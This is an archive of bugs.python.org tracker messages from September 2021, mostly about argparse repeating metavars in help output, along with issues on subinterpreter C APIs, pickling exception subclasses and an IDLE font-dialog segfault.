I don't agree this should be changed.  The repetition helps improve understanding because not everyone would assume that a METAVAR shown once would automatically also apply to its long form.   

Also, showing the METAVAR more than one is a norm.  For example, see this excerpt from "man grep":

     -B num, --before-context=num
             Print num lines of leading context before each match.  See also the -A and -C options.

     -b, --byte-offset
             The offset in bytes of a matched pattern is displayed in front of the respective matched line.

     -C[num, --context=num]
             Print num lines of leading and trailing context surrounding each match.  The default is 2 and is equivalent to
             -A 2 -B 2.  Note: no whitespace may be given between the option and its argument.

     -c, --count
             Only a count of selected lines is written to standard output.

     --colour=[when, --color=[when]]
             Mark up the matching text with the expression stored in GREP_COLOR environment variable.  The possible values of
             when can be `never', `always' or `auto'.

     -D action, --devices=action
             Specify the demanded action for devices, FIFOs and sockets.  The default action is `read', which means, that
             they are read as if they were normal files.  If the action is set to `skip', devices will be silently skipped.

     -d action, --directories=action
             Specify the demanded action for directories.  It is `read' by default, which means that the directories are read
             in the same manner as normal files.  Other possible values are `skip' to silently ignore the directories, and
             `recurse' to read them recursively, which has the same effect as the -R and -r option.

----------
versions:  -Python 3.10, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 23:40:12 2021
From: report at bugs.python.org (Jeremy Kloth)
Date: Mon, 06 Sep 2021 03:40:12 +0000
Subject: [issue45110] argparse repeats itself when formatting help metavars
In-Reply-To: <1630894738.41.0.447837429449.issue45110@roundup.psfhosted.org>
Message-ID: <1630899612.34.0.159271738589.issue45110@roundup.psfhosted.org>


Jeremy Kloth  added the comment:

Except that the output in question is not for manpages but for the command-line.  The analogous would be for `grep --help` (again an excerpt):

Context control:
  -B, --before-context=NUM  print NUM lines of leading context
  -A, --after-context=NUM   print NUM lines of trailing context
  -C, --context=NUM         print NUM lines of output context
  -NUM                      same as --context=NUM
      --color[=WHEN],
      --colour[=WHEN]       use markers to highlight the matching strings;
                            WHEN is 'always', 'never', or 'auto'

[using grep (GNU grep) 3.1]

----------
nosy: +jkloth

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 00:04:19 2021
From: report at bugs.python.org (Forest)
Date: Mon, 06 Sep 2021 04:04:19 +0000
Subject: [issue45110] argparse repeats itself when formatting help metavars
In-Reply-To: <1630897876.57.0.16019160412.issue45110@roundup.psfhosted.org>
Message-ID: <8g4bjg1ipoeu64ce7ff096op4iboapg8av@4ax.com>


Forest  added the comment:

On Mon, 06 Sep 2021 03:11:16 +0000, Raymond Hettinger wrote:

>The repetition helps improve understanding because not everyone would assume
>that a METAVAR shown once would automatically also apply to its long form.

I'm struggling to think of a real-world example that would lead someone to
think otherwise.  Is there a program with a short & long form option where
only one of those accepts an argument?

If such a thing does exist somewhere, the current behavior seems even worse
in that case: it shows the METAVAR alongside both forms, despite only one
form accepting an argument.

>Also, showing the METAVAR more than one is a norm.  For example, see this
>excerpt from "man grep":

I disagree about that being a norm. Counterexamples include:

cp -t, --target-directory=DIRECTORY
mv -S, --suffix=SUFFIX
ls -T, --tabsize=COLS
man -L, --locale=LOCALE

And, as Jeremy pointed out, we are not discussing man pages here, but
command line help text.  Even grep does it the way I suggest:

grep -e, --regexp=PATTERNS
grep -f, --file=FILE
grep -m, --max-count=NUM
(etc.)

More importantly, even if we do accept the current behavior as potentially
useful, do we really want Python's standard library to prescribe it?  Should
the application developer not be given an easy way for her program to
display cleaner, simpler, more space-efficient help text?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 00:08:48 2021
From: report at bugs.python.org (Forest)
Date: Mon, 06 Sep 2021 04:08:48 +0000
Subject: [issue45110] argparse repeats itself when formatting help metavars
In-Reply-To: <8g4bjg1ipoeu64ce7ff096op4iboapg8av@4ax.com>
Message-ID: 


Forest  added the comment:

By the way, I would be happy to submit a patch, either to remove the repeat
text or to make it optional via an easily overridden class attribute.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 00:58:38 2021
From: report at bugs.python.org (paul j3)
Date: Mon, 06 Sep 2021 04:58:38 +0000
Subject: [issue45110] argparse repeats itself when formatting help metavars
In-Reply-To: <1630894738.41.0.447837429449.issue45110@roundup.psfhosted.org>
Message-ID: <1630904318.83.0.19457001248.issue45110@roundup.psfhosted.org>


paul j3  added the comment:

This is has been requested various times on StackOverflow, and possibly here (I'd have to do a search).

The closest thing to making a compact action_invocation is to set the metavar to '', and even thing we get a space, eg.

     -f , --foo   Help text

This repeat has been a part of argparse from the beginning, so I can't see changing the default behavior.  But we could add a HelpFormatter subclass that changes one (or two methods) such as _format_action_invocation.  Subclassing the formatter is the accepted way of adding help features.   I, and possibly others, must have suggested such a change on SO.

Of course people can use such a subclass without it being part of the standard module.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 01:13:21 2021
From: report at bugs.python.org (paul j3)
Date: Mon, 06 Sep 2021 05:13:21 +0000
Subject: [issue45110] argparse repeats itself when formatting help metavars
In-Reply-To: <1630894738.41.0.447837429449.issue45110@roundup.psfhosted.org>
Message-ID: <1630905201.97.0.662626318473.issue45110@roundup.psfhosted.org>


paul j3  added the comment:

https://bugs.python.org/issue42980 argparse: GNU-style help formatter

https://bugs.python.org/issue33389 argparse redundant help string

https://bugs.python.org/issue29626
Issue with spacing in argparse module while using help

https://bugs.python.org/issue27303
[argparse] Unify options in help output

https://stackoverflow.com/questions/23936145/python-argparse-help-message-disable-metavar-for-short-options

https://stackoverflow.com/questions/18275023/dont-show-long-options-twice-in-print-help-from-argparse

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 01:17:55 2021
From: report at bugs.python.org (hai shi)
Date: Mon, 06 Sep 2021 05:17:55 +0000
Subject: [issue40512] [subinterpreters] Meta issue: per-interpreter GIL
In-Reply-To: <1588683075.13.0.0239787407564.issue40512@roundup.psfhosted.org>
Message-ID: <1630905475.61.0.95837343287.issue40512@roundup.psfhosted.org>


hai shi  added the comment:

> PyStructSequence_InitType2() is not compatible with subinterpreters: it uses static types. Moreover, it allocates tp_members memory which is not released when the type is destroyed. But I'm not sure that the type is ever destroyed, since this API is designed for static types.

IMO, I suggest to create a new function, PyStructSequence_FromModuleAndDesc(module, desc, flags) to create a heaptype and don't aloocates memory block for tp_members,something like 'PyType_FromModuleAndSpec()`.

I don't know there have any block issue to do this converting operation. But I can take a look.

@petr ping, Petr, do you have any better idea about this question :)

----------
nosy: +petr.viktorin

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 01:49:31 2021
From: report at bugs.python.org (Forest)
Date: Mon, 06 Sep 2021 05:49:31 +0000
Subject: [issue45110] argparse repeats itself when formatting help metavars
In-Reply-To: <1630904318.83.0.19457001248.issue45110@roundup.psfhosted.org>
Message-ID: 


Forest  added the comment:

On Mon, 06 Sep 2021 04:58:38 +0000, paul j3 wrote:

>This repeat has been a part of argparse from the beginning, so I can't
>see changing the default behavior.

Yes, I guessed as much, which is why I first suggested making it optional.

>But we could add a HelpFormatter subclass that changes one (or two methods)
>such as _format_action_invocation.  Subclassing the formatter is the accepted
>way of adding help features.

If it was done in a subclass, how would people be expected to get the new
behavior *and* that of the other subclasses?  For example, someone with
pre-formatted description and epilog text is currently directed to use the
RawDescriptionHelpFormatter subclass.  If they also wanted to avoid repeat
metavars, and that behavior was implemented in another subclass, would they
be expected to write a third subclass inheriting from both module-defined
subclasses?

To me, multiclassing seems rather heavyweight for a simple behavior change
like this one, but yes, I recognize that argparse's current code uses that
approach.  Pity, that.

>Of course people can use such a subclass without it being part of the
>standard module.

Technically: sure. But practically: not so much.  An application would have
to subclass and override _format_action_invocation(), which (judging by the
leading underscore) appears to be intended as private to the module.  Even
the module doc string says so:

"""
(Also note that HelpFormatter and RawDescriptionHelpFormatter are only
considered public as object names -- the API of the formatter objects is
still considered an implementation detail.)
"""

So, a subclass that isn't part of the standard module is implicity and
explicitly discouraged by the module itself.

If we're married to the module's current policy for formatter tweaks, I
guess that leaves a module-defined subclass as the only option.  Here is
an example that works:

class OneMetavarHelpFormatter(argparse.HelpFormatter):
    """A formatter that avoids repeating action argument metavars.
    """
    def _format_action_invocation(self, action):
        "Format action help without repeating the argument metavar"
        if not action.option_strings or action.nargs == 0:
            return super()._format_action_invocation(action)

        default = self._get_default_metavar_for_optional(action)
        args_string = self._format_args(action, default)
        return ', '.join(action.option_strings) + ' ' + args_string

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 02:04:10 2021
From: report at bugs.python.org (Forest)
Date: Mon, 06 Sep 2021 06:04:10 +0000
Subject: [issue45110] argparse repeats itself when formatting help metavars
In-Reply-To: 
Message-ID: 


Forest  added the comment:

Here's another working example, allowing alternate separator strings (as
requested in #33389) via subclassing:

class OneMetavarHelpFormatter(argparse.HelpFormatter):
    """A formatter that avoids repeating action metavars.
    """
    OPTION_SEPARATOR = ', '
    METAVAR_SEPARATOR = ' '

    def _format_action_invocation(self, action):
        """Format action help without repeating the argument metavar
        """
        if not action.option_strings or action.nargs == 0:
            return super()._format_action_invocation(action)

        default = self._get_default_metavar_for_optional(action)
        args_string = self._format_args(action, default)
        options_string = self.OPTION_SEPARATOR.join(action.option_strings)
        return options_string + self.METAVAR_SEPARATOR + args_string

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 02:15:04 2021
From: report at bugs.python.org (Forest)
Date: Mon, 06 Sep 2021 06:15:04 +0000
Subject: [issue45110] argparse repeats itself when formatting help metavars
In-Reply-To: 
Message-ID: 


Forest  added the comment:

To be clear, I wrote those examples to be non-invasive, not patch proposals.
A cleaner approach would be possible if patching argparse is an option.  (I
believe the patch in #42980 proposes such an approach.)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 02:17:15 2021
From: report at bugs.python.org (paul j3)
Date: Mon, 06 Sep 2021 06:17:15 +0000
Subject: [issue45110] argparse repeats itself when formatting help metavars
In-Reply-To: <1630894738.41.0.447837429449.issue45110@roundup.psfhosted.org>
Message-ID: <1630909035.27.0.127061638422.issue45110@roundup.psfhosted.org>


paul j3  added the comment:

The idea of combining help features by defining a subclass that inherits from other subclasses was endorsed by the original developer (we could dig up an old bug/issue to prove that).

The provided subclasses all tweak a "private" method, often one that's buried deep in the calling stack.

I can't quote any official policy, but my sense is that Python developers are ok with users subclassing and modifying "private" methods.  Methods, functions and classes (and variables) with leading '_' aren't documented, or imported via `__all__`, but otherwise the boundary between what is part of the user API and what's "hidden" is loose in Python.  

Apparently some corporate policies prohibit use or modification of things that aren't in the public API, but I don't think that policy protects you from changes.  'argparse' changes at a glacial rate, with a lot of concern for backward compatibility.  In fact it's that fear of unintended consequences that slows down the pace of change.  Subclassing a help formatter is preferred because it minimizes the chance of hurting existing users.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 02:46:51 2021
From: report at bugs.python.org (Forest)
Date: Mon, 06 Sep 2021 06:46:51 +0000
Subject: [issue45110] argparse repeats itself when formatting help metavars
In-Reply-To: <1630909035.27.0.127061638422.issue45110@roundup.psfhosted.org>
Message-ID: <8hdbjghb2em61msfha00sujspc2ohfohtm@4ax.com>


Forest  added the comment:

>Subclassing a help formatter is preferred because it minimizes the chance of 
>hurting existing users.

Fair enough.

Whatever the approach, I hope argparse can be made to support this through a
simple, documented interface.  I had to grovel through standard library code
to figure out what to override and what to duplicate in order to get the
output I want.  That seems like a needlessly high barrier for such a common
(and apparently oft-requested) format.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 02:50:57 2021
From: report at bugs.python.org (Julien Palard)
Date: Mon, 06 Sep 2021 06:50:57 +0000
Subject: [issue42238] Deprecate suspicious.py?
In-Reply-To: <1604274563.95.0.828690163802.issue42238@roundup.psfhosted.org>
Message-ID: <1630911057.85.0.949210619881.issue42238@roundup.psfhosted.org>


Julien Palard  added the comment:


New changeset 37272f5800ee1e9fcb2da4a1766366519b9b3d94 by Julien Palard in branch 'main':
bpo-42238: [doc] remove unused, and deduplicate, suspicious ignore rules. (GH-28137)
https://github.com/python/cpython/commit/37272f5800ee1e9fcb2da4a1766366519b9b3d94


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 03:15:21 2021
From: report at bugs.python.org (Inada Naoki)
Date: Mon, 06 Sep 2021 07:15:21 +0000
Subject: [issue45106] Issue formating for log on Linux machines
In-Reply-To: <1630857198.47.0.486193642329.issue45106@roundup.psfhosted.org>
Message-ID: <1630912521.24.0.160401251339.issue45106@roundup.psfhosted.org>


Inada Naoki  added the comment:

It is fixed in Python 3.9.

* https://github.com/python/cpython/pull/14008
* https://bugs.python.org/issue37111

Python 3.8 is "security" status for now. Non-security issues won't be fixed.
Please migrate to Python 3.9.

----------
nosy: +methane
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 04:13:51 2021
From: report at bugs.python.org (Ronald Oussoren)
Date: Mon, 06 Sep 2021 08:13:51 +0000
Subject: [issue45067] Failed to build _curses on CentOS 7
In-Reply-To: <1630453143.24.0.854803512429.issue45067@roundup.psfhosted.org>
Message-ID: <1630916031.36.0.362339470546.issue45067@roundup.psfhosted.org>


Ronald Oussoren  added the comment:

According to https://invisible-island.net/ncurses/NEWS.html#index-t20170401 the function extended_color_content was introduced in 2017, maybe the detection of support for this function doesn't work properly for some reason (although the preprocessor logic in Modules/_cursesmodule.c looks sane).

That said, I don't have a CentOS VM at the moment so cannot debug this myself.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 05:26:37 2021
From: report at bugs.python.org (W Huang)
Date: Mon, 06 Sep 2021 09:26:37 +0000
Subject: [issue45111] whole website translation error
Message-ID: <1630920397.91.0.782714198576.issue45111@roundup.psfhosted.org>


New submission from W Huang :

Traditional Chinese is translated incorrectly into Simplified Chinese.
But Taiwanese CAN NOT read Simplified Chinese fluently.
In addition, there are many words called by different name between Chinese and Taiwanese.
Sometimes Taiwanese CAN NOT understand what a word used in China means.

----------
messages: 401126
nosy: m4jp62
priority: normal
severity: normal
status: open
title: whole website translation error

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 05:44:51 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 09:44:51 +0000
Subject: [issue40512] [subinterpreters] Meta issue: per-interpreter GIL
In-Reply-To: <1588683075.13.0.0239787407564.issue40512@roundup.psfhosted.org>
Message-ID: <1630921491.11.0.871067903017.issue40512@roundup.psfhosted.org>


STINNER Victor  added the comment:

Hai Shi:
> IMO, I suggest to create a new function, PyStructSequence_FromModuleAndDesc()

Please create a new issue. If possible, I would prefer to have a sub-issue for that, to keep this issue as a tracking issue for all issues related to subinterpreters.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 06:14:34 2021
From: report at bugs.python.org (Chen Zero)
Date: Mon, 06 Sep 2021 10:14:34 +0000
Subject: [issue45112] Python exception object is different after pickle.loads
 and pickle.dumps
Message-ID: <1630923274.69.0.294387149834.issue45112@roundup.psfhosted.org>


New submission from Chen Zero :

Hi, when I'm trying to serialize/deserialize python exception object through pickle, I found that deserialize result is not the same as the original object...

My python version is 3.9.1, working os: macOS Big Sur 11.4

Here is minimum reproducing code example:

import pickle

class ExcA(Exception):
    def __init__(self, want):
        msg = "missing "
        msg += want
        super().__init__(msg)

ExcA('bb')   # this will output ExcA("missing bb"), which is good
pickle.loads(pickle.dumps(ExcA('bb')))  # this will output ExcA("missing missing bb"), which is different from `ExcA('bb')`

----------
files: screenshot.png
messages: 401128
nosy: yonghengzero
priority: normal
severity: normal
status: open
title: Python exception object is different after pickle.loads and pickle.dumps
type: behavior
versions: Python 3.9
Added file: https://bugs.python.org/file50262/screenshot.png

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 06:15:25 2021
From: report at bugs.python.org (Chen Zero)
Date: Mon, 06 Sep 2021 10:15:25 +0000
Subject: [issue45112] Python exception object is different after pickle.dumps
 and pickle.loads
In-Reply-To: <1630923274.69.0.294387149834.issue45112@roundup.psfhosted.org>
Message-ID: <1630923325.6.0.817131074233.issue45112@roundup.psfhosted.org>


Change by Chen Zero :


----------
title: Python exception object is different after pickle.loads and pickle.dumps -> Python exception object is different after pickle.dumps and pickle.loads

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 06:58:00 2021
From: report at bugs.python.org (Irit Katriel)
Date: Mon, 06 Sep 2021 10:58:00 +0000
Subject: [issue42959] AttributeError: module 'signal' has no attribute 'SIGHUP'
In-Reply-To: <1611002891.36.0.245706132459.issue42959@roundup.psfhosted.org>
Message-ID: <1630925880.38.0.402637480474.issue42959@roundup.psfhosted.org>


Change by Irit Katriel :


----------
nosy: +iritkatriel
nosy_count: 6.0 -> 7.0
pull_requests: +26608
pull_request: https://github.com/python/cpython/pull/23688

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 06:59:28 2021
From: report at bugs.python.org (Irit Katriel)
Date: Mon, 06 Sep 2021 10:59:28 +0000
Subject: [issue42959] AttributeError: module 'signal' has no attribute 'SIGHUP'
In-Reply-To: <1611002891.36.0.245706132459.issue42959@roundup.psfhosted.org>
Message-ID: <1630925968.67.0.681489477642.issue42959@roundup.psfhosted.org>


Change by Irit Katriel :


----------
pull_requests:  -26608

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 07:10:48 2021
From: report at bugs.python.org (hai shi)
Date: Mon, 06 Sep 2021 11:10:48 +0000
Subject: [issue45113] [subinterpreters][C API] Add a new function to create
 PyStructSequence from Heap.
Message-ID: <1630926648.9.0.514792822043.issue45113@roundup.psfhosted.org>


New submission from hai shi :

Copied from https://bugs.python.org/issue40512#msg399847:

Victor: PyStructSequence_InitType2() is not compatible with subinterpreters: it uses static types. Moreover, it allocates tp_members memory which is not released when the type is destroyed. But I'm not sure that the type is ever destroyed, since this API is designed for static types.

> PyStructSequence_InitType2() is not compatible with subinterpreters: it uses static types. Moreover, it allocates tp_members memory which is not released when the type is destroyed. But I'm not sure that the type is ever destroyed, since this API is designed for static types.

IMO, I suggest to create a new function, PyStructSequence_FromModuleAndDesc(module, desc, flags) to create a heaptype and don't aloocates memory block for tp_members,something like 'PyType_FromModuleAndSpec()`.

----------
components: C API
messages: 401129
nosy: petr.viktorin, shihai1991, vstinner
priority: normal
severity: normal
status: open
title: [subinterpreters][C API] Add a new function to create PyStructSequence from Heap.
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 07:13:18 2021
From: report at bugs.python.org (hai shi)
Date: Mon, 06 Sep 2021 11:13:18 +0000
Subject: [issue40512] [subinterpreters] Meta issue: per-interpreter GIL
In-Reply-To: <1588683075.13.0.0239787407564.issue40512@roundup.psfhosted.org>
Message-ID: <1630926798.7.0.827138616368.issue40512@roundup.psfhosted.org>


hai shi  added the comment:

bpo-45113: [subinterpreters][C API] Add a new function to create PyStructSequence from Heap.

----------
versions: +Python 3.11 -Python 3.10

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 07:18:09 2021
From: report at bugs.python.org (Petr Viktorin)
Date: Mon, 06 Sep 2021 11:18:09 +0000
Subject: [issue45113] [subinterpreters][C API] Add a new function to create
 PyStructSequence from Heap.
In-Reply-To: <1630926648.9.0.514792822043.issue45113@roundup.psfhosted.org>
Message-ID: <1630927089.71.0.284862508032.issue45113@roundup.psfhosted.org>


Petr Viktorin  added the comment:

I think you will run into issues with allocating tp_members, because there isn't a good mechanism to for type objects to manage C-level data.

But I encourage you to try, so you get a better understanding of the problem :)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 07:29:31 2021
From: report at bugs.python.org (Hai Shi)
Date: Mon, 06 Sep 2021 11:29:31 +0000
Subject: [issue45113] [subinterpreters][C API] Add a new function to create
 PyStructSequence from Heap.
In-Reply-To: <1630926648.9.0.514792822043.issue45113@roundup.psfhosted.org>
Message-ID: <1630927771.92.0.712240785259.issue45113@roundup.psfhosted.org>


Hai Shi  added the comment:

> But I encourage you to try, so you get a better understanding of the problem :)

OK, thanks, Petr. I try to add this C API to see what will happen :)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 07:54:30 2021
From: report at bugs.python.org (Harri)
Date: Mon, 06 Sep 2021 11:54:30 +0000
Subject: [issue45114] bad example for os.stat
Message-ID: <1630929270.55.0.756722168935.issue45114@roundup.psfhosted.org>


New submission from Harri :

The example on https://docs.python.org/3/library/stat.html should be improved to avoid endless recursion, if there is a symlink loop. I would suggest to use os.lstat instead of os.stat.

----------
assignee: docs at python
components: Documentation
messages: 401133
nosy: docs at python, harridu
priority: normal
severity: normal
status: open
title: bad example for os.stat
versions: Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 08:18:14 2021
From: report at bugs.python.org (Samodya Abey)
Date: Mon, 06 Sep 2021 12:18:14 +0000
Subject: [issue44863] Allow TypedDict to inherit from Generics
In-Reply-To: <1628363087.29.0.710236107674.issue44863@roundup.psfhosted.org>
Message-ID: <1630930694.41.0.701691323247.issue44863@roundup.psfhosted.org>


Samodya Abey  added the comment:

My initial intention to create this ticket was to explore the idea that if we could side step from creating a PEP or updating PEP-589.

IMO only contribution from a new PEP will be:
1. relaxing this line from PEP-589 and be explicit to include Generic: "A TypedDict cannot inherit from both a TypedDict type and a non-TypedDict base class." (IMO by thinking `Generic` as a mixin even this is not needed)
2. may be syntax for generic in the alternative syntax (side note: collecting typevars from the values is hard to implement because of forward refs)
3. Some explicit generic examples for good measure

I believe PEP-589 is complete in covering all semantic details even with Generics. Even structural subtyping because it says: "Value types behave invariantly, since TypedDict objects are mutable."

My understanding was that during initial implementation this was not done for the sake of implementation simplicity (days before PEP-560).

All that said, a new PEP would be a good way to notify the type checkers of this capability.

Is there a better place to have this conversation?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 09:08:03 2021
From: report at bugs.python.org (Irit Katriel)
Date: Mon, 06 Sep 2021 13:08:03 +0000
Subject: [issue45112] Python exception object is different after pickle.dumps
 and pickle.loads
In-Reply-To: <1630923274.69.0.294387149834.issue45112@roundup.psfhosted.org>
Message-ID: <1630933683.82.0.057014853624.issue45112@roundup.psfhosted.org>


Irit Katriel  added the comment:

The default __reduce__ method of Exception returns the arg you pass to the Exception constructor:

>>> a = ExcA("a banana")
>>> a.__reduce__()
(, ('missing a banana',))
>>> 


This is then pickled, and when unpickled the arg is passed to the ExcA constructor. 

If you want to change this, you can implement __reduce__ on ExcA o return just the part you want it to return.

----------
nosy: +iritkatriel

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 09:45:28 2021
From: report at bugs.python.org (Irit Katriel)
Date: Mon, 06 Sep 2021 13:45:28 +0000
Subject: [issue30637] Syntax error reported on compile(...),
 but not on compile(..., ast.PyCF_ONLY_AST)
In-Reply-To: <1497271056.08.0.482498543523.issue30637@psf.upfronthosting.co.za>
Message-ID: <1630935928.07.0.238500267319.issue30637@roundup.psfhosted.org>


Irit Katriel  added the comment:

Adding Pablo, a.k.a The King of Errors.

----------
nosy: +iritkatriel, pablogsal

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 10:28:21 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 06 Sep 2021 14:28:21 +0000
Subject: [issue45112] Python exception object is different after pickle.dumps
 and pickle.loads
In-Reply-To: <1630923274.69.0.294387149834.issue45112@roundup.psfhosted.org>
Message-ID: <1630938501.48.0.0192919171208.issue45112@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

Pickling customized subclasses can be tricky.  The essential details are here:  https://docs.python.org/3/library/pickle.html#object.__reduce__

Here's some code to get you started.

class ExcA(Exception):
    def __init__(self, want):
        msg = "missing "
        msg += want
        super().__init__(msg)
    def __reduce__(self):
        return (type(self), self.args, self.args)
    def __setstate__(self, state):
        self.args = stat

----------
nosy: +rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 10:28:37 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 06 Sep 2021 14:28:37 +0000
Subject: [issue45112] Python exception object is different after pickle.dumps
 and pickle.loads
In-Reply-To: <1630923274.69.0.294387149834.issue45112@roundup.psfhosted.org>
Message-ID: <1630938517.7.0.498996726714.issue45112@roundup.psfhosted.org>


Change by Raymond Hettinger :


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 10:49:30 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 06 Sep 2021 14:49:30 +0000
Subject: [issue45112] Python exception object is different after pickle.dumps
 and pickle.loads
In-Reply-To: <1630923274.69.0.294387149834.issue45112@roundup.psfhosted.org>
Message-ID: <1630939770.76.0.837045825131.issue45112@roundup.psfhosted.org>


Change by Raymond Hettinger :


----------
resolution: not a bug -> 
status: closed -> open

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 10:52:29 2021
From: report at bugs.python.org (Guido van Rossum)
Date: Mon, 06 Sep 2021 14:52:29 +0000
Subject: [issue44863] Allow TypedDict to inherit from Generics
In-Reply-To: <1628363087.29.0.710236107674.issue44863@roundup.psfhosted.org>
Message-ID: <1630939949.73.0.232804205406.issue44863@roundup.psfhosted.org>


Guido van Rossum  added the comment:

Since this primarily affects static type checkers such as mypy, Pyre and pyright, it?s best to discuss it on typing-sig.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 11:08:24 2021
From: report at bugs.python.org (E. Paine)
Date: Mon, 06 Sep 2021 15:08:24 +0000
Subject: [issue45103] IDLE: make configdialog font page survive font failures
In-Reply-To: <1630790219.84.0.830457804554.issue45103@roundup.psfhosted.org>
Message-ID: <1630940904.47.0.752141142885.issue45103@roundup.psfhosted.org>


E. Paine  added the comment:

FTR, the issue mentioned is issue42225.

msg380227 still applies for me (with Tk 8.6.11), with segfaults when I try to preview the font. For some reason, however, the segfault appears to be when we're closing the options window:

Python 3.9.6 (default, Jun 30 2021, 10:22:16) 
[GCC 11.1.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import faulthandler
>>> faulthandler.enable()
>>> import idlelib.idle
Fatal Python error: Segmentation fault

Current thread 0x00007f0ca44c7740 (most recent call first):
  File "/usr/lib/python3.9/tkinter/__init__.py", line 2580 in destroy
  File "/usr/lib/python3.9/tkinter/__init__.py", line 2579 in destroy
  File "/usr/lib/python3.9/tkinter/__init__.py", line 2579 in destroy
  File "/usr/lib/python3.9/tkinter/__init__.py", line 2579 in destroy
  File "/usr/lib/python3.9/tkinter/__init__.py", line 2579 in destroy
  File "/usr/lib/python3.9/tkinter/__init__.py", line 2579 in destroy
  File "/usr/lib/python3.9/tkinter/__init__.py", line 2579 in destroy
  File "/usr/lib/python3.9/idlelib/configdialog.py", line 199 in destroy
  File "/usr/lib/python3.9/idlelib/configdialog.py", line 177 in ok
  File "/usr/lib/python3.9/tkinter/__init__.py", line 1892 in __call__
  File "/usr/lib/python3.9/tkinter/__init__.py", line 696 in wait_window
  File "/usr/lib/python3.9/idlelib/configdialog.py", line 94 in __init__
  File "/usr/lib/python3.9/idlelib/editor.py", line 583 in config_dialog
  File "/usr/lib/python3.9/tkinter/__init__.py", line 1892 in __call__
  File "/usr/lib/python3.9/tkinter/__init__.py", line 1858 in event_generate
  File "/usr/lib/python3.9/idlelib/editor.py", line 1185 in command
  File "/usr/lib/python3.9/tkinter/__init__.py", line 1892 in __call__
  File "/usr/lib/python3.9/tkinter/__init__.py", line 1429 in mainloop
  File "/usr/lib/python3.9/idlelib/pyshell.py", line 1572 in main
  File "/usr/lib/python3.9/idlelib/idle.py", line 14 in 
  File "", line 228 in _call_with_frames_removed
  File "", line 850 in exec_module
  File "", line 680 in _load_unlocked
  File "", line 986 in _find_and_load_unlocked
  File "", line 1007 in _find_and_load
  File "", line 1 in 
fish: Job 1, 'python' terminated by signal SIGSEGV (Address boundary error)

I do not experience any problems loading the IDLE preferences page. I will look into whether I can reproduce the problem described on Windows.

----------
nosy: +epaine

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 11:18:22 2021
From: report at bugs.python.org (E. Paine)
Date: Mon, 06 Sep 2021 15:18:22 +0000
Subject: [issue45103] IDLE: make configdialog font page survive font failures
In-Reply-To: <1630790219.84.0.830457804554.issue45103@roundup.psfhosted.org>
Message-ID: <1630941502.13.0.687402156297.issue45103@roundup.psfhosted.org>


E. Paine  added the comment:

Apologies, my previous message was not clear. When the segfault occurs is not consistent and sometimes occurs when previewing the font (as reported in the linked message) but more often when clicking the "ok" button (for which the faulthandler details are included).

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 11:21:42 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 15:21:42 +0000
Subject: [issue45115] Windows: enable compiler optimizations when building
 Python in debug mode
Message-ID: <1630941702.52.0.0278112507289.issue45115@roundup.psfhosted.org>


New submission from STINNER Victor :

The Visual Studio project of Python, PCBuild\ directory, disables compiler optimizations when Python is built in debug mode. It seems to be the default in Visual Studio.

Disabling compiler optimizations cause two kinds of issues:

* It increases the stack memory: tests using a deep call stack are more likely to crash (test_pickle, test_marshal, test_exceptions).

